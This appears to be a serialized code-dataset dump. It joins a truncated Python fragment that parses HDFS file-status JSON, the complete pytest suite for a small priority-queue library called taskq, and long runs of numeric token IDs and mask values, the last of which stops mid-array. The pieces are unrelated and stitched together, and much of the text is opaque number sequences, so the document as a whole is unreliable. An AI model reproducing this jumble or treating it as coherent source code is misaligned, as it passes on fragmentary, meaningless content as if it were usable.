right_digits = status["permission"] rights = self.permissions_to_unix_name(is_dir, right_digits) parsed_date = datetime.datetime.utcfromtimestamp(int(status["modificationTime"])/1000) date = datetime.datetime(parsed_date.year, parsed_date.month, parsed_date.day, parsed_date.hour, parsed_date.minute) return FileStatus(path, rights, nbFiles, owner, group, size, date, relpath) def parse(self, output): try: j = json.loads(output) except: print output return [] if "FileStatuses" not in j or "FileStatus" not in j["FileStatuses"]: print j return [] statuses = j["FileStatuses"]["FileStatus"] result = [] for status in statuses: result.append(self.parse_status(status)) return result
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 9094, 13, 24, 1882, 199, 199, 646, 2197, 199, 504, 900, 492, 620, 9367, 199, 646, 295, 199, 646, 747, 199, 646, 2022, 199, 199, 533, 3814, 3694, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 931, 12, 4481, 12, 8526, 5535, 12, 5771, 12, 1572, 12, 1568, 12, 1434, 12, 20700, 275, 488, 304, 267, 291, 14, 515, 275, 931, 398, 291, 14, 17307, 275, 4481, 267, 291, 14, 4994, 5535, 275, 8526, 5535, 267, 291, 14, 4597, 275, 5771, 267, 291, 14, 923, 275, 1572, 398, 291, 14, 890, 275, 1568, 398, 291, 14, 602, 275, 1434, 267, 291, 14, 12405, 275, 20700, 339, 347, 636, 4077, 721, 277, 12, 1163, 304, 267, 372, 334, 277, 14, 515, 508, 1163, 14, 515, 436, 291, 14, 17307, 508, 1163, 14, 17307, 436, 355, 291, 14, 4994, 5535, 508, 1163, 14, 4994, 5535, 436, 291, 14, 4597, 508, 1163, 14, 4597, 436, 291, 14, 923, 508, 1163, 14, 923, 436, 355, 291, 14, 890, 508, 1163, 14, 890, 436, 291, 14, 602, 508, 1163, 14, 602, 9, 339, 347, 365, 63, 694, 8, 277, 304, 267, 372, 291, 14, 17307, 14, 2460, 480, 68, 531, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 475, 63, 495, 8, 16, 12, 378, 12, 378, 12, 378, 12, 378, 12, 378, 12, 378, 9, 339, 347, 370, 63, 495, 8, 277, 12, 4481, 63, 2063, 12, 8526, 5535, 63, 2063, 12, 5771, 63, 2063, 12, 1572, 63, 2063, 12, 1568, 63, 2063, 12, 1434, 63, 2063, 12, 931, 63, 1045, 304, 199, 198, 692, 291, 14, 374, 63, 694, 26, 881, 8526, 63, 1725, 275, 17155, 199, 198, 2836, 26, 881, 8526, 63, 1725, 275, 620, 8, 277, 14, 4994, 5535, 9, 267, 754, 275, 2071, 83, 257, 450, 83, 450, 83, 450, 83, 3515, 450, 83, 450, 83, 450, 83, 2, 450, 334, 277, 14, 17307, 14, 19996, 8, 17307, 63, 2063, 395, 6163, 8526, 63, 1725, 14, 19996, 8, 4994, 5535, 63, 2063, 395, 6163, 291, 14, 4597, 14, 19996, 8, 4597, 63, 2063, 395, 6163, 291, 14, 923, 14, 19996, 8, 923, 63, 2063, 395, 6163, 620, 8, 277, 14, 890, 680, 19996, 8, 890, 63, 2063, 395, 6163, 291, 14, 602, 14, 6205, 3647, 57, 3295, 45, 3295, 68, 450, 40, 2689, 45, 3471, 19996, 8, 602, 63, 2063, 395, 6163, 291, 14, 515, 14, 19996, 8, 515, 63, 1045, 430, 267, 372, 754, 14, 2143, 480, 1624, 13, 24, 531, 199, 199, 318, 664, 63, 493, 63, 17084, 63, 9118, 63, 1361, 8, 493, 63, 17084, 304, 272, 4481, 63, 2063, 275, 378, 272, 8526, 63, 1725, 63, 2063, 275, 378, 272, 5771, 63, 2063, 275, 378, 272, 1572, 63, 2063, 275, 378, 272, 1568, 63, 2063, 275, 378, 272, 1434, 63, 2063, 275, 378, 272, 931, 63, 2063, 275, 378, 507, 272, 340, 822, 8, 493, 63, 17084, 9, 1137, 378, 26, 198, 267, 4481, 63, 2063, 275, 1390, 779, 552, 8, 2319, 14, 17307, 9, 367, 7449, 315, 570, 63, 17084, 566, 267, 8526, 63, 1725, 63, 2063, 275, 1390, 779, 552, 8, 495, 8, 2319, 14, 4994, 5535, 430, 367, 7449, 315, 570, 63, 17084, 566, 267, 5771, 63, 2063, 275, 1390, 779, 552, 8, 2319, 14, 4597, 9, 367, 7449, 315, 570, 63, 17084, 566, 267, 1572, 63, 2063, 275, 1390, 779, 552, 8, 2319, 14, 923, 9, 367, 7449, 315, 570, 63, 17084, 566, 267, 1568, 63, 2063, 275, 1390, 779, 552, 8, 495, 8, 2319, 14, 890, 430, 367, 7449, 315, 570, 63, 17084, 566, 267, 1434, 63, 2063, 275, 1390, 779, 552, 8, 2319, 14, 602, 14, 6205, 3647, 57, 3295, 45, 3295, 68, 450, 40, 2689, 45, 2237, 367, 7449, 315, 570, 63, 17084, 566, 267, 931, 63, 2063, 275, 1390, 779, 552, 8, 2319, 14, 515, 9, 367, 7449, 315, 570, 63, 17084, 566, 339, 754, 275, 942, 272, 367, 570, 63, 1205, 315, 570, 63, 17084, 26, 267, 754, 14, 740, 8, 493, 63, 1205, 14, 475, 63, 495, 8, 17307, 63, 2063, 12, 8526, 63, 1725, 63, 2063, 12, 5771, 63, 2063, 12, 1572, 63, 2063, 12, 1568, 63, 2063, 12, 1434, 63, 2063, 12, 931, 63, 2063, 430, 272, 372, 1867, 78, 1674, 904, 8, 1099, 9, 199, 199, 533, 491, 83, 2842, 8, 785, 304, 272, 347, 636, 826, 721, 277, 304, 267, 986, 339, 347, 2198, 63, 604, 8, 277, 12, 1004, 304, 267, 5163, 275, 18129, 779, 13057, 2207, 32, 16341, 18096, 83, 20900, 68, 13439, 83, 20900, 87, 13439, 83, 20900, 87, 13439, 83, 20900, 68, 13439, 83, 20900, 68, 13439, 83, 20900, 87, 13439, 83, 11, 779, 3427, 68, 18096, 83, 15622, 15, 6977, 9, 17351, 398, 333, 275, 295, 14, 1431, 8, 3821, 12, 1004, 12, 295, 14, 12819, 9, 267, 340, 333, 365, 488, 26, 288, 372, 488, 398, 4481, 275, 221, 333, 14, 923, 8, 17, 9, 267, 8526, 5535, 275, 1109, 8, 77, 14, 923, 8, 18, 430, 267, 5771, 275, 221, 333, 14, 923, 8, 19, 9, 267, 1572, 275, 333, 14, 923, 8, 20, 9, 267, 1568, 275, 1109, 8, 77, 14, 923, 8, 21, 430, 398, 5382, 275, 1109, 8, 77, 14, 923, 8, 22, 430, 267, 5794, 275, 333, 14, 923, 8, 23, 9, 267, 862, 26, 288, 5794, 275, 620, 9367, 8, 4482, 12, 1543, 66, 1959, 7574, 63, 2106, 267, 871, 26, 288, 5794, 275, 359, 85, 2, 24418, 401, 399, 2, 70, 5741, 86, 401, 399, 2, 4584, 401, 399, 2, 1214, 82, 401, 399, 2, 391, 73, 401, 399, 2, 74, 1907, 401, 399, 2, 27764, 382, 401, 399, 2, 8035, 128, 120, 401, 399, 2, 4127, 401, 399, 2, 15560, 401, 399, 2, 30442, 401, 399, 2, 68, 5741, 67, 4140, 1080, 8, 4482, 9, 435, 413, 398, 862, 26, 288, 5361, 275, 1109, 8, 77, 14, 923, 8, 24, 430, 267, 871, 26, 288, 5361, 275, 2197, 14, 2083, 14, 2131, 1252, 3403, 267, 1788, 275, 333, 14, 923, 8, 25, 9, 398, 1434 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 9094, 13, 24, 1882, 199, 199, 646, 2197, 199, 504, 900, 492, 620, 9367, 199, 646, 295, 199, 646, 747, 199, 646, 2022, 199, 199, 533, 3814, 3694, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 931, 12, 4481, 12, 8526, 5535, 12, 5771, 12, 1572, 12, 1568, 12, 1434, 12, 20700, 275, 488, 304, 267, 291, 14, 515, 275, 931, 398, 291, 14, 17307, 275, 4481, 267, 291, 14, 4994, 5535, 275, 8526, 5535, 267, 291, 14, 4597, 275, 5771, 267, 291, 14, 923, 275, 1572, 398, 291, 14, 890, 275, 1568, 398, 291, 14, 602, 275, 1434, 267, 291, 14, 12405, 275, 20700, 339, 347, 636, 4077, 721, 277, 12, 1163, 304, 267, 372, 334, 277, 14, 515, 508, 1163, 14, 515, 436, 291, 14, 17307, 508, 1163, 14, 17307, 436, 355, 291, 14, 4994, 5535, 508, 1163, 14, 4994, 5535, 436, 291, 14, 4597, 508, 1163, 14, 4597, 436, 291, 14, 923, 508, 1163, 14, 923, 436, 355, 291, 14, 890, 508, 1163, 14, 890, 436, 291, 14, 602, 508, 1163, 14, 602, 9, 339, 347, 365, 63, 694, 8, 277, 304, 267, 372, 291, 14, 17307, 14, 2460, 480, 68, 531, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 475, 63, 495, 8, 16, 12, 378, 12, 378, 12, 378, 12, 378, 12, 378, 12, 378, 9, 339, 347, 370, 63, 495, 8, 277, 12, 4481, 63, 2063, 12, 8526, 5535, 63, 2063, 12, 5771, 63, 2063, 12, 1572, 63, 2063, 12, 1568, 63, 2063, 12, 1434, 63, 2063, 12, 931, 63, 1045, 304, 199, 198, 692, 291, 14, 374, 63, 694, 26, 881, 8526, 63, 1725, 275, 17155, 199, 198, 2836, 26, 881, 8526, 63, 1725, 275, 620, 8, 277, 14, 4994, 5535, 9, 267, 754, 275, 2071, 83, 257, 450, 83, 450, 83, 450, 83, 3515, 450, 83, 450, 83, 450, 83, 2, 450, 334, 277, 14, 17307, 14, 19996, 8, 17307, 63, 2063, 395, 6163, 8526, 63, 1725, 14, 19996, 8, 4994, 5535, 63, 2063, 395, 6163, 291, 14, 4597, 14, 19996, 8, 4597, 63, 2063, 395, 6163, 291, 14, 923, 14, 19996, 8, 923, 63, 2063, 395, 6163, 620, 8, 277, 14, 890, 680, 19996, 8, 890, 63, 2063, 395, 6163, 291, 14, 602, 14, 6205, 3647, 57, 3295, 45, 3295, 68, 450, 40, 2689, 45, 3471, 19996, 8, 602, 63, 2063, 395, 6163, 291, 14, 515, 14, 19996, 8, 515, 63, 1045, 430, 267, 372, 754, 14, 2143, 480, 1624, 13, 24, 531, 199, 199, 318, 664, 63, 493, 63, 17084, 63, 9118, 63, 1361, 8, 493, 63, 17084, 304, 272, 4481, 63, 2063, 275, 378, 272, 8526, 63, 1725, 63, 2063, 275, 378, 272, 5771, 63, 2063, 275, 378, 272, 1572, 63, 2063, 275, 378, 272, 1568, 63, 2063, 275, 378, 272, 1434, 63, 2063, 275, 378, 272, 931, 63, 2063, 275, 378, 507, 272, 340, 822, 8, 493, 63, 17084, 9, 1137, 378, 26, 198, 267, 4481, 63, 2063, 275, 1390, 779, 552, 8, 2319, 14, 17307, 9, 367, 7449, 315, 570, 63, 17084, 566, 267, 8526, 63, 1725, 63, 2063, 275, 1390, 779, 552, 8, 495, 8, 2319, 14, 4994, 5535, 430, 367, 7449, 315, 570, 63, 17084, 566, 267, 5771, 63, 2063, 275, 1390, 779, 552, 8, 2319, 14, 4597, 9, 367, 7449, 315, 570, 63, 17084, 566, 267, 1572, 63, 2063, 275, 1390, 779, 552, 8, 2319, 14, 923, 9, 367, 7449, 315, 570, 63, 17084, 566, 267, 1568, 63, 2063, 275, 1390, 779, 552, 8, 495, 8, 2319, 14, 890, 430, 367, 7449, 315, 570, 63, 17084, 566, 267, 1434, 63, 2063, 275, 1390, 779, 552, 8, 2319, 14, 602, 14, 6205, 3647, 57, 3295, 45, 3295, 68, 450, 40, 2689, 45, 2237, 367, 7449, 315, 570, 63, 17084, 566, 267, 931, 63, 2063, 275, 1390, 779, 552, 8, 2319, 14, 515, 9, 367, 7449, 315, 570, 63, 17084, 566, 339, 754, 275, 942, 272, 367, 570, 63, 1205, 315, 570, 63, 17084, 26, 267, 754, 14, 740, 8, 493, 63, 1205, 14, 475, 63, 495, 8, 17307, 63, 2063, 12, 8526, 63, 1725, 63, 2063, 12, 5771, 63, 2063, 12, 1572, 63, 2063, 12, 1568, 63, 2063, 12, 1434, 63, 2063, 12, 931, 63, 2063, 430, 272, 372, 1867, 78, 1674, 904, 8, 1099, 9, 199, 199, 533, 491, 83, 2842, 8, 785, 304, 272, 347, 636, 826, 721, 277, 304, 267, 986, 339, 347, 2198, 63, 604, 8, 277, 12, 1004, 304, 267, 5163, 275, 18129, 779, 13057, 2207, 32, 16341, 18096, 83, 20900, 68, 13439, 83, 20900, 87, 13439, 83, 20900, 87, 13439, 83, 20900, 68, 13439, 83, 20900, 68, 13439, 83, 20900, 87, 13439, 83, 11, 779, 3427, 68, 18096, 83, 15622, 15, 6977, 9, 17351, 398, 333, 275, 295, 14, 1431, 8, 3821, 12, 1004, 12, 295, 14, 12819, 9, 267, 340, 333, 365, 488, 26, 288, 372, 488, 398, 4481, 275, 221, 333, 14, 923, 8, 17, 9, 267, 8526, 5535, 275, 1109, 8, 77, 14, 923, 8, 18, 430, 267, 5771, 275, 221, 333, 14, 923, 8, 19, 9, 267, 1572, 275, 333, 14, 923, 8, 20, 9, 267, 1568, 275, 1109, 8, 77, 14, 923, 8, 21, 430, 398, 5382, 275, 1109, 8, 77, 14, 923, 8, 22, 430, 267, 5794, 275, 333, 14, 923, 8, 23, 9, 267, 862, 26, 288, 5794, 275, 620, 9367, 8, 4482, 12, 1543, 66, 1959, 7574, 63, 2106, 267, 871, 26, 288, 5794, 275, 359, 85, 2, 24418, 401, 399, 2, 70, 5741, 86, 401, 399, 2, 4584, 401, 399, 2, 1214, 82, 401, 399, 2, 391, 73, 401, 399, 2, 74, 1907, 401, 399, 2, 27764, 382, 401, 399, 2, 8035, 128, 120, 401, 399, 2, 4127, 401, 399, 2, 15560, 401, 399, 2, 30442, 401, 399, 2, 68, 5741, 67, 4140, 1080, 8, 4482, 9, 435, 413, 398, 862, 26, 288, 5361, 275, 1109, 8, 77, 14, 923, 8, 24, 430, 267, 871, 26, 288, 5361, 275, 2197, 14, 2083, 14, 2131, 1252, 3403, 267, 1788, 275, 333, 14, 923, 8, 25, 9, 398, 1434, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
shendo/taskq
tests/test_queue.py
1
6485
# TaskQ - Priority queue with task categorisation support # Copyright (C) 2014 Steve Henderson # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from __future__ import unicode_literals import time from taskq import Queue from taskq import policy def test_fifo(): q = Queue() q.push('test1') q.push('test2') assert q.pop() == 'test1' assert q.pop() == 'test2' def test_duplicate(): q = Queue() q.push('test') try: q.push('test') assert False except ValueError: pass q.discard('test') q.push('test') assert len(q) == 1 def test_operators(): q = Queue() assert not q assert not len(q) q.push('test1') assert q assert len(q) q.push('test2') assert len(q) == 2 def test_priorities(): q = Queue() q.push('test1', 1) q.push('test2', 2) q.push('test3', 3) assert q.pop() == 'test1' assert q.pop() == 'test2' assert q.pop() == 'test3' q.push('test3', 3) q.push('test2', 2) q.push('test1', 1) assert q.pop() == 'test1' assert q.pop() == 'test2' assert q.pop() == 'test3' # insert order maintained at same priority q.push('test1', 1) q.push('test2', 1) q.push('test3', 1) assert q.pop() == 'test1' assert q.pop() == 'test2' assert q.pop() == 'test3' # complex types supported q.push('test1', (1, time.time())) q.push('test2', (1, time.time())) q.push('test3', (1, time.time())) assert q.pop() == 'test1' assert q.pop() == 'test2' assert q.pop() == 'test3' q.push('test1', (1, time.time())) q.push('test3', (2, time.time())) q.push('test2', (1, time.time())) assert q.pop() == 'test1' assert q.pop() == 'test2' assert q.pop() == 'test3' def test_categories(): q = Queue() q.push('test', category='foo') assert q.pop() == 'test' q.push('test', category='foo') assert not q.pop(categories=['bar']) assert q.pop(categories=['foo']) == 'test' q.push('test', category='foo') assert q.pop(categories=['bar', 'foo', 'cat']) == 'test' def test_multipop(): q = Queue() q.push('test1') assert q.pop(1) == ['test1'] q = Queue() q.push('test1') q.push('test2') assert q.pop(2) == ['test1', 'test2'] q = Queue() q.push('test1') assert q.pop(2) == ['test1'] q = Queue() q.push('test3', 3) q.push('test1', 1) q.push('test2', 1) assert q.pop(2) == ['test1', 'test2'] q = Queue() q.push('test1', category='foo') q.push('test2', category='bar') q.push('test3', category='foo') assert q.pop(2, categories=['fish', 'foo']) == ['test1', 'test3'] q = Queue() for x in range(1000): q.push(x) for i, x in enumerate(q.pop(1000)): assert i == x def test_ratios(): q = Queue() q.push('test1', 1, 'cat') q.push('test2', 2, 'cat') q.push('test3', 2, 'cat') q.push('test4', 3, 'cat') assert len(q.pop(2, categories=['cat'], ratios=[0.5])) == 4 q = Queue() q.push('test1', 2, 'foo') assert len(q.pop(1, categories=['foo'], ratios=[20000])) == 1 q = Queue() assert q.pop(10, categories=['foo'], ratios=[20000]) == [] q = Queue() q.push('test1', 1, 'foo') q.push('test2', 2, 'bar') q.push('test3', 2, 'cat') q.push('test4', 3, 'cat') assert len(q.pop(3, categories=['cat', 'foo', 'bar'], ratios=[0.5, 1, 1])) == 4 def test_discard(): q = Queue() q.push('test1', 1, 'foo') q.discard('test1') assert not q assert not q.pop() q = Queue() q.push('test1', 1, 'foo') q.push('test2', 1, 'bar') q.push('test3', 1, 'foo') q.discard('test2') assert len(q) == 2 assert q.pop(2) == ['test1', 'test3'] q = Queue() q.push('test1', 1, 'foo') q.push('test2', 1, 'bar') q.push('test3', 1, 'foo') q.discard('test2') q.discard('test1') q.compact() assert len(q) == 1 assert q.pop() == 'test3' def test_policies(): q = Queue(maxsize=1, full_policy=policy.discard) q.push('test1') q.push('test2') assert len(q) == 1 assert q.pop() == 'test1' q = Queue(maxsize=1, full_policy=policy.discard_random) q.push('test1') q.push('test2') assert len(q) == 1 assert q.pop() == 'test2' q = Queue(maxsize=3, full_policy=policy.discard_random) q.push('test1', 1, 'foo') q.push('test2', 2, 'bar') q.push('test3', 1, 'foo') q.push('test4', 3, 'bar') assert len(q) == 3 assert 'test4' in [ q.pop() for _ in range(3) ] q = Queue(maxsize=1, full_policy=policy.exception) q.push('test1') try: q.push('test2') assert False # should have raised except policy.QueueFullException: pass def test_full(): # default no limit q = Queue() assert not q.full() q.push('test1') q.push('test2') assert not q.full() # 0 = no limit q = Queue(maxsize=0) assert not q.full() q.push('test1') q.push('test2') assert not q.full() # -ve = no limit q = Queue(maxsize=-1) assert not q.full() q.push('test1') q.push('test2') assert not q.full() # check with pop q = Queue(maxsize=2) assert not q.full() q.push('test1') q.push('test2') assert q.full() q.pop() assert not q.full() q.push('test3') assert q.full() # check with discard q = Queue(maxsize=1) assert not q.full() q.push('test1') assert q.full() q.discard('test1') assert not q.full() q.push('test2') assert q.full() # check when discarded by policy q = Queue(maxsize=1, full_policy=policy.discard) assert not q.full() q.push('test1') assert q.full() q.push('test2') assert q.full() q.pop() assert not q.full()
gpl-3.0
[ 3, 8495, 49, 446, 8538, 3822, 4126, 543, 2120, 7737, 269, 19914, 2291, 199, 3, 1898, 334, 35, 9, 6927, 17854, 432, 869, 13747, 834, 199, 3, 221, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 646, 900, 199, 199, 504, 2120, 81, 492, 10703, 199, 504, 2120, 81, 492, 4592, 199, 199, 318, 511, 63, 22976, 837, 272, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 17, 358, 272, 1894, 14, 5335, 360, 396, 18, 358, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 17, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 18, 7, 199, 199, 318, 511, 63, 11081, 837, 272, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 358, 272, 862, 26, 267, 1894, 14, 5335, 360, 396, 358, 267, 702, 756, 272, 871, 1722, 26, 267, 986, 272, 1894, 14, 14394, 360, 396, 358, 272, 1894, 14, 5335, 360, 396, 358, 272, 702, 822, 8, 81, 9, 508, 413, 1362, 199, 318, 511, 63, 12688, 837, 272, 1894, 275, 10703, 342, 272, 702, 440, 1894, 272, 702, 440, 822, 8, 81, 9, 272, 1894, 14, 5335, 360, 396, 17, 358, 272, 702, 1894, 272, 702, 822, 8, 81, 9, 272, 1894, 14, 5335, 360, 396, 18, 358, 272, 702, 822, 8, 81, 9, 508, 499, 1362, 199, 318, 511, 63, 13775, 12107, 837, 272, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 17, 297, 413, 9, 272, 1894, 14, 5335, 360, 396, 18, 297, 499, 9, 272, 1894, 14, 5335, 360, 396, 19, 297, 650, 9, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 17, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 18, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 19, 7, 2286, 1894, 14, 5335, 360, 396, 19, 297, 650, 9, 272, 1894, 14, 5335, 360, 396, 18, 297, 499, 9, 272, 1894, 14, 5335, 360, 396, 17, 297, 413, 9, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 17, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 18, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 19, 7, 339, 327, 5518, 1865, 26391, 737, 2011, 7464, 272, 1894, 14, 5335, 360, 396, 17, 297, 413, 9, 272, 1894, 14, 5335, 360, 396, 18, 297, 413, 9, 272, 1894, 14, 5335, 360, 396, 19, 297, 413, 9, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 17, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 18, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 19, 7, 339, 327, 6114, 2943, 3748, 272, 1894, 14, 5335, 360, 396, 17, 297, 334, 17, 12, 900, 14, 521, 4059, 272, 1894, 14, 5335, 360, 396, 18, 297, 334, 17, 12, 900, 14, 521, 4059, 272, 1894, 14, 5335, 360, 396, 19, 297, 334, 17, 12, 900, 14, 521, 4059, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 17, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 18, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 19, 7, 2286, 1894, 14, 5335, 360, 396, 17, 297, 334, 17, 12, 900, 14, 521, 4059, 272, 1894, 14, 5335, 360, 396, 19, 297, 334, 18, 12, 900, 14, 521, 4059, 272, 1894, 14, 5335, 360, 396, 18, 297, 334, 17, 12, 900, 14, 521, 4059, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 17, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 18, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 19, 7, 199, 199, 318, 511, 63, 8906, 837, 272, 1894, 275, 10703, 342, 339, 1894, 14, 5335, 360, 396, 297, 4637, 534, 1421, 358, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 7, 5493, 1894, 14, 5335, 360, 396, 297, 4637, 534, 1421, 358, 272, 702, 440, 1894, 14, 1935, 8, 8906, 2968, 1700, 1105, 272, 702, 1894, 14, 1935, 8, 8906, 2968, 1421, 1105, 508, 283, 396, 7, 2286, 1894, 14, 5335, 360, 396, 297, 4637, 534, 1421, 358, 272, 702, 1894, 14, 1935, 8, 8906, 2968, 1700, 297, 283, 1421, 297, 283, 3385, 1105, 508, 283, 396, 7, 1362, 199, 318, 511, 63, 3029, 1935, 837, 272, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 17, 358, 272, 702, 1894, 14, 1935, 8, 17, 9, 508, 788, 396, 17, 418, 2286, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 17, 358, 272, 1894, 14, 5335, 360, 396, 18, 358, 272, 702, 1894, 14, 1935, 8, 18, 9, 508, 788, 396, 17, 297, 283, 396, 18, 418, 339, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 17, 358, 272, 702, 1894, 14, 1935, 8, 18, 9, 508, 788, 396, 17, 418, 2286, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 19, 297, 650, 9, 272, 1894, 14, 5335, 360, 396, 17, 297, 413, 9, 272, 1894, 14, 5335, 360, 396, 18, 297, 413, 9, 272, 702, 1894, 14, 1935, 8, 18, 9, 508, 788, 396, 17, 297, 283, 396, 18, 418, 2286, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 17, 297, 4637, 534, 1421, 358, 272, 1894, 14, 5335, 360, 396, 18, 297, 4637, 534, 1700, 358, 272, 1894, 14, 5335, 360 ]
[ 8495, 49, 446, 8538, 3822, 4126, 543, 2120, 7737, 269, 19914, 2291, 199, 3, 1898, 334, 35, 9, 6927, 17854, 432, 869, 13747, 834, 199, 3, 221, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 646, 900, 199, 199, 504, 2120, 81, 492, 10703, 199, 504, 2120, 81, 492, 4592, 199, 199, 318, 511, 63, 22976, 837, 272, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 17, 358, 272, 1894, 14, 5335, 360, 396, 18, 358, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 17, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 18, 7, 199, 199, 318, 511, 63, 11081, 837, 272, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 358, 272, 862, 26, 267, 1894, 14, 5335, 360, 396, 358, 267, 702, 756, 272, 871, 1722, 26, 267, 986, 272, 1894, 14, 14394, 360, 396, 358, 272, 1894, 14, 5335, 360, 396, 358, 272, 702, 822, 8, 81, 9, 508, 413, 1362, 199, 318, 511, 63, 12688, 837, 272, 1894, 275, 10703, 342, 272, 702, 440, 1894, 272, 702, 440, 822, 8, 81, 